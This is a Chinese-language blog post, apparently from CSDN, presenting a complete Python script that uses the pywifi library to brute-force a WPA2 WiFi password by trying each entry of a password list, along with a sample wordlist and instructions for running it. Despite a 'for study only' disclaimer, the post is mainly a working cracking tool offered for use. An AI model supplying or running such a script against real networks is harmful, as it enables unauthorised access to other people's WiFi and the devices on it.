Python破解Wifi密码脚本

Python破解Wifi密码脚本

使用pywifi 暴力破解wifi密码,就是使用使用多个密码与wifi进行连接测试。总的来说,破解成功的可能性是存在的,但需要付出很多的努力,当然,付出努力也不一定能够破解;因此,这个破解程序脚本仅供学习研究使用。

程序文件名为“d:\TestWifi.py”,内容如下:

 

import pywifi

from pywifi import const

import time

 

# 测试连接,返回链接结果

#def wifi_connect(pwd):

# 抓取网卡接口

wifi = pywifi.PyWiFi()

# 获取第一个无线网卡

wireless_network = wifi.interfaces()[0]

# 断开所有连接

wireless_network.disconnect()

#   打开密码本文件

file = open("d:\\1pass00.txt", "r")

wifi_status = wireless_network.status()

if wifi_status == const.IFACE_DISCONNECTED:

    # 创建WiFi连接文件

    wifi_file = pywifi.Profile()

    # 要连接WiFi的名称

    wifi_file.ssid = "XXXXX"

    # 显示正在尝试连接的WiFi的名称

    print("正在尝试连接%s..." %wifi_file.ssid)

    # 网卡的开放状态

    wifi_file.auth = const.AUTH_ALG_OPEN

    # wifi加密算法,一般wifi加密算法为wps

    wifi_file.akm.append(const.AKM_TYPE_WPA2PSK)

    # 加密单元

    wifi_file.cipher = const.CIPHER_TYPE_CCMP

    while True:

        # 调用密码        wifi_file.key = pwd

        wifi_file.key = file.readline()

        if not wifi_file.key:

            print("密码读取完毕!")

            break #   密码读取完毕,则跳出while循环

        # 删除所有连接过的wifi文件

        wireless_network.remove_all_network_profiles()

        # 设定新的连接文件

        tep_profile = wireless_network.add_network_profile(wifi_file)

        wireless_network.connect(tep_profile)

        # wifi连接时间

        time.sleep(3)

        if wireless_network.status() == const.IFACE_CONNECTED:

            print("破解成功!密码: %s" %(wifi_file.key))

            break

        else:

            print("尝试密码: %s    失败" %(wifi_file.key))

       

else:

    print("已有wifi连接")

   

file.close()

 

程序中,file = open("d:\\pass00.txt", "r"),打开d盘根目录的文本文件pass00.txt,该文本文件中保存一些可能的密码,用于逐个测试。文件内容的形式如下:

1234qwer

1a2b3c4d

1a2b3c4d5e

a1b2c3d4

a1b2c3d4e5

abcd1234

abcde12345

abcdef1234

 

在命令行窗口,使用命令

           python d:\TestWifi.py

可运行程序。

 

注意:需要使用python安装pywifi,在Win10中的安装方法可参见

https://blog.csdn.net/Alexabc3000/article/details/106558392/

 

  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Alexabc3000

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值